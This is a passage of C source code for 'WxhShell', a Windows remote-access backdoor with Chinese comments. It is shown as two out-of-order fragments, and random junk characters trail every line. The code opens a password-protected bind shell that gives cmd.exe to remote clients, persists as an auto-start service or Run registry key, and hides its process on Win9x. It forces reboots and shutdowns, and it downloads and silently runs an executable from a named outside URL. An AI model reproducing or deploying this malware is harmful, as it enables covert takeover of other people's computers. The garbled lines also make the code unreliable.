    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KWzJ  
    if(Boot(SHUTDOWN)) ``j8T[g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M(+;AS?;  
    else { JLZ=$d  
    closesocket(wsh); $k= 5nJ  
    ExitThread(0); $hM>%u  
    } 3Q-[)Z )  
    break; Tl2e?El;4  
    } .gS x`|!  
  // 获取shell Pu-/*Fx  
  case 's': { nL[ zXl  
    CmdShell(wsh); zC[lPABQ  
    closesocket(wsh); {#Vck\&  
    ExitThread(0); )rP)-op|A  
    break; C"=^ (HU  
  } Uq8=R)1<|d  
  // 退出 /Wqx@#  
  case 'x': { u|'}a3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pPX~pPIj2  
    CloseIt(wsh); buv*qPO  
    break; _a e&@s1  
    } 6QC=:_M;  
  // 离开 5_}e?T&s  
  case 'q': { 8iDg2_l`G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QV@NA@;XZ  
    closesocket(wsh); D]UqM<0Rz  
    WSACleanup(); H^e0fm  
    exit(1); |8s)kQ4$  
    break; 0D*uZ,oBEw  
        } .;'3Roi  
  } `Rc7*2I)l  
  } EC6Q<&]Iw  
+[sZE X  
  // 提示信息 /#,3JU$w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1`X- O>  
} [v!TQwMU  
  } Y^(Sc4 W  
=CE(M},d  
  return; ca!=D $  
} |=Mn~`9p  
h6Vm;{ ~  
// shell模块句柄 guC7!P^  
int CmdShell(SOCKET sock) Jrkj foN  
{ q Pc"A!-i  
STARTUPINFO si; _Wjd`*  
ZeroMemory(&si,sizeof(si)); 2+Tu"oG;rB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8?S)>-mwv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /<Doe SDJ|  
PROCESS_INFORMATION ProcessInfo; nsCat($)  
char cmdline[]="cmd"; 0uf'6<fR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~alC5|wCUQ  
  return 0; Z !qHL$  
} u{o!j7  
&$vW  
// 自身启动模式 UBUZ}ZIbN  
int StartFromService(void) e(^\0=u<  
{ ]/p)XHKo  
typedef struct 3xJ_%AD\'  
{ {iv!A=jld  
  DWORD ExitStatus; Use`E  
  DWORD PebBaseAddress; r# }`{C;+5  
  DWORD AffinityMask; M=}vDw]Q  
  DWORD BasePriority; I#]$H#}Av  
  ULONG UniqueProcessId; 6tE<`"P!  
  ULONG InheritedFromUniqueProcessId; jZm57{C#*?  
}   PROCESS_BASIC_INFORMATION; nr#DE?  
 4I> I  
PROCNTQSIP NtQueryInformationProcess; e6n^l $'  
>?$+hZz<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I\6u(;@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y<G@7?   
M. Fu>Xi  
  HANDLE             hProcess; $?l?  
  PROCESS_BASIC_INFORMATION pbi; ;)^eDJ<  
XeaO,P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #Fua^]n  
  if(NULL == hInst ) return 0; ldJ:A*/M6  
K#=)]qIk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k-LB %\p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `};8   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J^@0Ff;=5^  
\(lt [=  
  if (!NtQueryInformationProcess) return 0; JNzNK.E!m-  
3f`+ -&|M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pcM'j#;  
  if(!hProcess) return 0; <}c`jN!z.  
rNL*(PN}lO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ORNOX:  
eD0Rv0BV^  
  CloseHandle(hProcess); Y&O<A8=8  
(O,|1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kv{i_%j   
if(hProcess==NULL) return 0; 9@Cqg5Kx'  
_E:]qv  
HMODULE hMod; 5bH@R@3m  
char procName[255]; 9-Qu b+0o  
unsigned long cbNeeded; f<!eJO:<'  
i=o<\ {iV:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "DjD"?/b  
6S2D\Bt,_  
  CloseHandle(hProcess); :p=IZY  
nr! kx)j  
if(strstr(procName,"services")) return 1; // 以服务启动 F[l{pc "C  
D5]T.8kX(7  
  return 0; // 注册表启动 SE;Jl[PgcL  
} RnIL>Akp  
H--(zxK  
// 主模块 S$=])^dur  
int StartWxhshell(LPSTR lpCmdLine) }Rt?p8p  
{ 4@4$kro  
  SOCKET wsl; 2Af1-z^^K  
BOOL val=TRUE; Mf<P ms\F  
  int port=0; 0%cbno@1V  
  struct sockaddr_in door; W-<C%9O!  
\.POb5]p0  
  if(wscfg.ws_autoins) Install(); (m|p|rL  
va:5pvt2&  
port=atoi(lpCmdLine); ("}TW-r~  
@tM1e<  
if(port<=0) port=wscfg.ws_port; `$AX!,<!G  
Cz+`C9#  
  WSADATA data; E"b+Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lOCMKaCD  
%S. _3`A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^Cst4=:W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sPyq.oG  
  door.sin_family = AF_INET; ^r?ZrbSbz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P bj&l0C  
  door.sin_port = htons(port); 2>Xgo%  
X"z^4?Aj+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q=)$  
closesocket(wsl); 0B>hVaj>-  
return 1; r,cV(  
} eBFsKOtu  
[o<Rgq 4  
  if(listen(wsl,2) == INVALID_SOCKET) { |e!%6Qq3  
closesocket(wsl); }u5/  
return 1; 2`9e20  
} _K<H*R  
  Wxhshell(wsl); V8@VR`!'  
  WSACleanup(); c$Z3P%aP'V  
ve49m%NQ  
return 0; J /mLmSx  
7?9QlUO  
} bBk_2lg=4)  
3yX^93  
// 以NT服务方式启动 U>H"N1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +DmfqKKbd  
{ oCg|* c|+  
DWORD   status = 0; *|{1`{8n  
  DWORD   specificError = 0xfffffff; <j,ZAA&5%Y  
vMu6u .e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &b'IYoe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XD%@Y~>+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t 1}R#NB  
  serviceStatus.dwWin32ExitCode     = 0; {e~#6.$:  
  serviceStatus.dwServiceSpecificExitCode = 0; mE=%+:o.  
  serviceStatus.dwCheckPoint       = 0; .)59*'0  
  serviceStatus.dwWaitHint       = 0; <|8N\FU{  
i=T!4'Zu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6|:K1bI)  
  if (hServiceStatusHandle==0) return; o9\J vJk  
UR?biq  
status = GetLastError(); 6l]jm j)/  
  if (status!=NO_ERROR) iga.B  
{ *lyy|3z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cZC%W!pT  
    serviceStatus.dwCheckPoint       = 0; ) rw!. )  
    serviceStatus.dwWaitHint       = 0; w_qX~d/  
    serviceStatus.dwWin32ExitCode     = status; zW#P ~zS  
    serviceStatus.dwServiceSpecificExitCode = specificError; [wOz<<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZDny=&>#  
    return; WN#S%G:Q)  
  } 0RFBun{  
u+EZ"p;o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i&mcM_g32  
  serviceStatus.dwCheckPoint       = 0; =sZ58xA  
  serviceStatus.dwWaitHint       = 0; 8k +^jj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qe4O N3X!  
} R&.mNji*  
g$f+X~Q  
// 处理NT服务事件,比如:启动、停止 @n,V2`"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N_wj,yF*  
{ =$mPReA3v  
switch(fdwControl) &?g!)O  
{ Sf*1Z~P|  
case SERVICE_CONTROL_STOP: q"(b}3  
  serviceStatus.dwWin32ExitCode = 0; \!LIqqX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B@w/wH  
  serviceStatus.dwCheckPoint   = 0; 2ieyU5q7#  
  serviceStatus.dwWaitHint     = 0; ~aPe?{yIUa  
  { )DB\du   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L:j3  
  } 7f] qCZ<0V  
  return; =xw+cs1,x  
case SERVICE_CONTROL_PAUSE: %lq[,6?>5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2nf<RE>  
  break; 36e  
case SERVICE_CONTROL_CONTINUE: f+!k:}K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'uC=xG.*}  
  break; ]A%]W^G  
case SERVICE_CONTROL_INTERROGATE: 3D;?X@  
  break;  LXoZ.3S  
}; JR_%v=n~x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]sTbEw.[  
} ?wP/l  
12VIP-ABK  
// 标准应用程序主函数 /q,vQ[ R/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hCBre5  
{ N TcojA{V$  
gLm,;'h%u  
// 获取操作系统版本 a[Nm< qV05  
OsIsNt=GetOsVer(); }W)b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '"LaaTTs  
\h0+` ;Q  
  // 从命令行安装 7(C)vtEO:  
  if(strpbrk(lpCmdLine,"iI")) Install(); w~pe?j_F$  
Vj8-[ww!  
  // 下载执行文件 v^p* l0r6:  
if(wscfg.ws_downexe) { EKN<KnU%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q;f L@L@-  
  WinExec(wscfg.ws_filenam,SW_HIDE); cG@W o8+  
} KIWHn_ :  
pX!T; Re;  
if(!OsIsNt) { 'IVC!uL,%  
// 如果时win9x,隐藏进程并且设置为注册表启动 60e{]}Z  
HideProc(); x5;D'Y t"|  
StartWxhshell(lpCmdLine); [ z/G  
} v6! `H  
else 9asA-'fZ  
  if(StartFromService()) Q[H4l({E  
  // 以服务方式启动 t%k`)p7O  
  StartServiceCtrlDispatcher(DispatchTable); pa?AKj]  
else K)Z~ iBRM  
  // 普通方式启动 4&e<Sc64  
  StartWxhshell(lpCmdLine); };Df ><  
I.~=\%Z {  
return 0; ^HT vw~]5  
} 6e5A8e8"]  
IC$"\7 @  
}&s |~  
meThjCC  
=========================================== q%]5/.J  
z 3Z8vq  
>>y\idg&:  
XMxm2-%olP  
=dQF}-{!  
tF<&R& =  
" ~rXLb:  
od,,2pwK+  
#include <stdio.h> rF{,]U9`  
#include <string.h> 5s4x%L (~}  
#include <windows.h> 30sA\TZ  
#include <winsock2.h> {S@, ,  
#include <winsvc.h> u'T>Y1I  
#include <urlmon.h> @cx#'  
I-kK^_0mV<  
#pragma comment (lib, "Ws2_32.lib") >*+n`"6  
#pragma comment (lib, "urlmon.lib") z t!>  
]a*26AbU+  
#define MAX_USER   100 // 最大客户端连接数 (58r9WhS  
#define BUF_SOCK   200 // sock buffer q 4Ok$~"I  
#define KEY_BUFF   255 // 输入 buffer <5h}\5#<j  
ew c:-2Y^  
#define REBOOT     0   // 重启 C&EA@U5X^  
#define SHUTDOWN   1   // 关机 w-@6qMJ  
/P/0\3TCi  
#define DEF_PORT   5000 // 监听端口 QMDkkNK  
3lS1WA   
#define REG_LEN     16   // 注册表键长度 lm+s5}*%o  
#define SVC_LEN     80   // NT服务名长度 ChNT; G<6$  
e%9zY{ABR%  
// 从dll定义API ys7 Tq+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wjOJn]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0juP"v$C>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iUqD>OV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,,S 2>X*L  
a'>n'Y~E  
// wxhshell配置信息 E429<LQI/  
struct WSCFG { }p8iq  
  int ws_port;         // 监听端口 Y|KT3  
  char ws_passstr[REG_LEN]; // 口令 \t=#MzjR  
  int ws_autoins;       // 安装标记, 1=yes 0=no l @E {K|  
  char ws_regname[REG_LEN]; // 注册表键名 5+(Cp3  
  char ws_svcname[REG_LEN]; // 服务名 8@FgvWC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 52'6wwv6?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C_h$$G{S(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4P7r\ hs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JM*!(\Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" * COC&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }+)q/]%  
R|*Eg,1g -  
}; w,<n5dMv  
6r h#ATep  
// default Wxhshell configuration  |vBy=:  
struct WSCFG wscfg={DEF_PORT, F$YT4414  
    "xuhuanlingzhe", !_iv~Q zv  
    1, Nr*o RYY  
    "Wxhshell", hSj@<#b>F  
    "Wxhshell", }YU\}T-P  
            "WxhShell Service", )3 '8T>^<K  
    "Wrsky Windows CmdShell Service", 'W&ewZH_h  
    "Please Input Your Password: ", d-H03F@N  
  1, {?}^HW9{  
  "http://www.wrsky.com/wxhshell.exe", q{L-(!uz7_  
  "Wxhshell.exe" be(hY{y`  
    }; !R[~Z7b6  
8/"C0I (G  
// 消息定义模块 i G%R'/*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y/L*0 M.<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X#fjIrn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5YgT*}L+,  
char *msg_ws_ext="\n\rExit."; 4(`U]dNcs  
char *msg_ws_end="\n\rQuit."; 7T(&DOGZ  
char *msg_ws_boot="\n\rReboot..."; J(9{P/  
char *msg_ws_poff="\n\rShutdown..."; K[Vj+qdyl  
char *msg_ws_down="\n\rSave to "; .OlPVMFt  
^ h2!u'IQ  
char *msg_ws_err="\n\rErr!"; Qs<L$"L1  
char *msg_ws_ok="\n\rOK!"; 8\+DSA  
4)p ID`  
char ExeFile[MAX_PATH]; okO\A^F  
int nUser = 0; sDBwD%sb  
HANDLE handles[MAX_USER]; C4 -y%W"P  
int OsIsNt; x+[ATZ([  
O;0VKNn['  
SERVICE_STATUS       serviceStatus; ?gMq:[X N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -U|Z9sia  
bicbCC6kC  
// 函数声明 1aPFpo!  
int Install(void); 4rpry@1  
int Uninstall(void); Rt@O@oDI  
int DownloadFile(char *sURL, SOCKET wsh); equi26jhr  
int Boot(int flag); `w)yR>lqh  
void HideProc(void); G\~?.s|^  
int GetOsVer(void); |*l^<==  
int Wxhshell(SOCKET wsl); $h5QLN  
void TalkWithClient(void *cs); i\x@s>@x}  
int CmdShell(SOCKET sock); 0#~k)>(7lR  
int StartFromService(void); _\{/#J;lN  
int StartWxhshell(LPSTR lpCmdLine); C* 0Z F  
wZ=@0al  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .fS{j$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j' b0sve|?  
zT93Sb  
// 数据结构和表定义 #8y"1I=i&  
SERVICE_TABLE_ENTRY DispatchTable[] = .9UrWBW\I  
{ Oc5f8uv  
{wscfg.ws_svcname, NTServiceMain}, 3Z7gPU!H=  
{NULL, NULL} xE!b)@>S  
}; +x<OyjY5?]  
FRXaPod  
// 自我安装 MooxT7  
int Install(void) Z/ L%?zH  
{ {Q @?CT  
  char svExeFile[MAX_PATH]; p[)yn%uh  
  HKEY key; f+\UVq?  
  strcpy(svExeFile,ExeFile); OjrZ6  
Y' 5X4Ks|  
// 如果是win9x系统,修改注册表设为自启动 tTh4L8fO  
if(!OsIsNt) { 9Q\RCl_1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d<E2=WVB6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IYa(B+nB)  
  RegCloseKey(key); )19#g1rn5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qLl4t/p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8<@X=Z  
  RegCloseKey(key); lI@Z)~  
  return 0; P ,rLyx   
    } ac1(lD  
  } ]cW Q9  
} x'SIHV4M@Q  
else { ?~cO\(TY["  
fB'Jo<C  
// 如果是NT以上系统,安装为系统服务 0wAB;|~*62  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'pF$6n;  
if (schSCManager!=0) wB+F/]]|N  
{ }G!'SZ$F 5  
  SC_HANDLE schService = CreateService !)05,6WQ  
  ( Nz%pl!  
  schSCManager, ^N`KT   
  wscfg.ws_svcname, u#Bj#y!  
  wscfg.ws_svcdisp, a.ijc>K  
  SERVICE_ALL_ACCESS, 4ywtE}mp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z-*/jFE  
  SERVICE_AUTO_START, c?;~ Z  
  SERVICE_ERROR_NORMAL, s u]x  
  svExeFile, Td%[ -  
  NULL, Iuk!A?XV  
  NULL, y21zaQ  
  NULL, OM,-:H,  
  NULL, T/Q#V)Tp  
  NULL $Il?[4FF  
  ); ;`IZ&m$  
  if (schService!=0) O(BAw  
  { AZ~= ]1  
  CloseServiceHandle(schService); Z'EX q.hk  
  CloseServiceHandle(schSCManager); 1:S75~b-`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _Wn5* Pi%Z  
  strcat(svExeFile,wscfg.ws_svcname); g7G=ga  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KTX;x2r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R1Jj 3k  
  RegCloseKey(key); 9l9h*P gt  
  return 0; gZQ,br*  
    } |7XV! D!\g  
  } :|i jCg+  
  CloseServiceHandle(schSCManager); V$O{s~@ti  
} A%S6&!I:(  
} l!z0lh- J  
_:|/4.]`_  
return 1; 0^htwec!  
} ,<]X0;~oB  
]DcQ8D  
// 自我卸载 Dg]( ?^  
int Uninstall(void) sG{hUsPa  
{ xB=~3  
  HKEY key; 8':^tMd  
1RC(T{\x  
if(!OsIsNt) { V6%J9+DK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dY>oj<9  
  RegDeleteValue(key,wscfg.ws_regname); JA'C\  
  RegCloseKey(key); {1 fva^O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f{=0-%dA  
  RegDeleteValue(key,wscfg.ws_regname); )LESdX  
  RegCloseKey(key); ZujPk-  
  return 0; 6\4~&+;wL  
  } 4?GW]'d  
} u*/.   
} bL>J0LWQ  
else { rap`[O|l=  
jcNY W_G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G[7Z5)2B  
if (schSCManager!=0) pUV3n 1{2  
{ 5e^t;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \OMWE/qMy  
  if (schService!=0) JY4sB8  
  { ]=T`8)_r)  
  if(DeleteService(schService)!=0) { ~3YN;St-  
  CloseServiceHandle(schService); 9z)p*+r UK  
  CloseServiceHandle(schSCManager); 9/N=7<$  
  return 0; eq)8V x0  
  } "PO>@tY  
  CloseServiceHandle(schService); WVPnyVDc  
  } </,RS5ukn  
  CloseServiceHandle(schSCManager); \bJ,8J1C  
} X.)caF^j  
} Lyjt$i W%  
@"[xX}xK;  
return 1; yEm[C(gZ  
} a#i;*J  
=b+W*vUAw  
// 从指定url下载文件 ~/0 t<^  
int DownloadFile(char *sURL, SOCKET wsh) o' U::  
{ k)+2+hX&>  
  HRESULT hr; I"/p^@IX  
char seps[]= "/"; rVU::C+-  
char *token; 9H$$Og  
char *file; FGzMbi<l#(  
char myURL[MAX_PATH]; L`>uO1O  
char myFILE[MAX_PATH]; :{za[,  
4L'dV  
strcpy(myURL,sURL); E .2b@  
  token=strtok(myURL,seps); m:EO}ws=  
  while(token!=NULL)  WW5AD$P*  
  { 3N8RZt1.b  
    file=token; ".Lwq_  
  token=strtok(NULL,seps); j. 1@{H  
  } e !_+TyI  
k@HV wK'y  
GetCurrentDirectory(MAX_PATH,myFILE); nW1Obu8x|  
strcat(myFILE, "\\"); +:@lde]/p  
strcat(myFILE, file); [ 0? *J<d  
  send(wsh,myFILE,strlen(myFILE),0); =7&2-'(@  
send(wsh,"...",3,0); gmG M[c\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yht|0mZV  
  if(hr==S_OK) #SNwSx&  
return 0; ";:"p6?  
else >fCz,.L  
return 1; yk1.fxik'  
Qrr8i:Y^  
} Tk(ciwB  
"P4#Q_  
// 系统电源模块 K5; /  
int Boot(int flag) 5i 56J1EC  
{ r*e<`Is  
  HANDLE hToken; lFHj]%Y  
  TOKEN_PRIVILEGES tkp; I)@b#V=  
LEnm6  
  if(OsIsNt) { aZK%?c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )?@X{AN&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d9'gH#f?  
    tkp.PrivilegeCount = 1; TF_~)f(`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &~ =q1?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _0Mt*]L }  
if(flag==REBOOT) { Q& p'\6~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XYeuYLut  
  return 0; $JH_  
} } v#Tm  
else { xW`,@a }  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B2}|b^'I  
  return 0; Y!M&8;>  
} q|Oz   
  } |&O7F;/_  
  else { 'IR2H{Q  
if(flag==REBOOT) { s@Q, wa(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +YS0yTWeX  
  return 0; t)O8ON  
} zkFx2(Hq-f  
else { I/F3%'O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~7$NVKE  
  return 0; Rd4 z+G  
} lwY2zX&%)/  
} W$E!}~Ro  
)FF3|dZ";K  
return 1; *)+K+J  
} ;cye 'E  
V(-=@UW  
// win9x进程隐藏模块 3_AVJv ;N  
void HideProc(void) Het5{Yb.  
{ znNJ?  
:E$<!q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FZUN*5`  
  if ( hKernel != NULL ) jJ(()EJ  
  { 8efQ -^b.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WH@CH4WM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jB"?iC.  
    FreeLibrary(hKernel); ,5tW|=0@  
  } B~[}E]WEK  
;rD M%S@  
return; W7k0!Grrl  
} ncF|wz  
SHc<`M'+  
// 获取操作系统版本 sBsf{%I[{  
int GetOsVer(void) L?W F[nF R  
{ 2YU-iipdOq  
  OSVERSIONINFO winfo; YlF<S49loC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tC4:cX  
  GetVersionEx(&winfo); nE4?oq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9|;"+jlt  
  return 1; ]Wn^m+  
  else ~E]ct F  
  return 0; 0`{3|g  
} dZMOgZ.!yr  
I U Mt^z  
// 客户端句柄模块 I04GQql  
int Wxhshell(SOCKET wsl) ?1DA  
{ ]8Eci^i  
  SOCKET wsh; *5kQ6#l  
  struct sockaddr_in client; N2 vA/  
  DWORD myID; >u6*P{;\  
u]D>O$_ s  
  while(nUser<MAX_USER) fmDn1N-bG  
{ BdK2I!mm  
  int nSize=sizeof(client); Z~JX@s0v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U}6F B =  
  if(wsh==INVALID_SOCKET) return 1; *@EItj`  
b1("(,r/`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y<53xZi  
if(handles[nUser]==0) p1-bq:  
  closesocket(wsh); )]\?Yyg]  
else c@+;4Iz  
  nUser++; 0%K/gd#S<  
  } nb -Je+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ftL>oOz[  
W7j-siWJ  
  return 0; lbRm(W(  
} -<R"  
86]})H  
// 关闭 socket I jK  
void CloseIt(SOCKET wsh) &8l4A=l$  
{ %(9BWO  
closesocket(wsh); N@oNg}D&:  
nUser--; wR x5` @  
ExitThread(0); 3eqVY0q  
} r]C`#  
<`'^rCWI?  
// 客户端请求句柄 \z/_vzz4  
void TalkWithClient(void *cs) "Yk3K^`1T.  
{ 1z4s1 Y  
EB/.M+~a  
  SOCKET wsh=(SOCKET)cs; 'CrBxaA]s  
  char pwd[SVC_LEN]; +cDz`)N,,  
  char cmd[KEY_BUFF]; |o:[*2-   
char chr[1]; np>RxiB^  
int i,j; w""5T|  
BFCF+hU^6R  
  while (nUser < MAX_USER) { [lSQ?  
+<^TyIJ0  
if(wscfg.ws_passstr) { ]h Dy]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kn#3^>D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W w{|:>j  
  //ZeroMemory(pwd,KEY_BUFF); A? =(q  
      i=0; 7\BGeI  
  while(i<SVC_LEN) { /,>@+^1  
<2\4eusk  
  // 设置超时 =,*4:TU  
  fd_set FdRead; ?pT\Ft V  
  struct timeval TimeOut; 64#6L.Q-c  
  FD_ZERO(&FdRead); [n53 eC  
  FD_SET(wsh,&FdRead); g{`rWKj  
  TimeOut.tv_sec=8; v{R:F  
  TimeOut.tv_usec=0; x8]9Xe:_>O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \X'{ ee  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W6Os|z9&|  
,oW8im   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WHV]H  
  pwd=chr[0]; w% Ug9  
  if(chr[0]==0xd || chr[0]==0xa) { 5UFR^\e  
  pwd=0; ]t69a4&,#9  
  break; .js@F/H p  
  } YWf w%p?n"  
  i++; ([-xM%BI6  
    } (IbT5  
]FJpe^ ua  
  // 如果是非法用户,关闭 socket G(alM=q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zuWfR&U|W  
} 67uUeCW  
K22'XrN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $/sQatic  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iU5Aj:U3  
k$V.hG|6M  
while(1) { &{s`=IeN  
H8>u:  
  ZeroMemory(cmd,KEY_BUFF); 6J|Ee1Ez  
ZaCUc Px  
      // 自动支持客户端 telnet标准   YpFh_Zr[  
  j=0; |eEcEu?/b  
  while(j<KEY_BUFF) { 0NY2Kw;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xh7#\m_U8  
  cmd[j]=chr[0]; I2@pkVv3z  
  if(chr[0]==0xa || chr[0]==0xd) { 0]dL;~0y.  
  cmd[j]=0; ^&o38=70*  
  break; oGzZ.K3 A  
  } 9zj^\-FA_l  
  j++; $K)9(DD  
    } r?e)2l~C8j  
u S$:J:Drx  
  // 下载文件 r^uo7?gZ^  
  if(strstr(cmd,"http://")) { l \=M'D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %ZF6%m0S  
  if(DownloadFile(cmd,wsh)) f IUz%YFn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \W<r`t4v  
  else +U(m b  
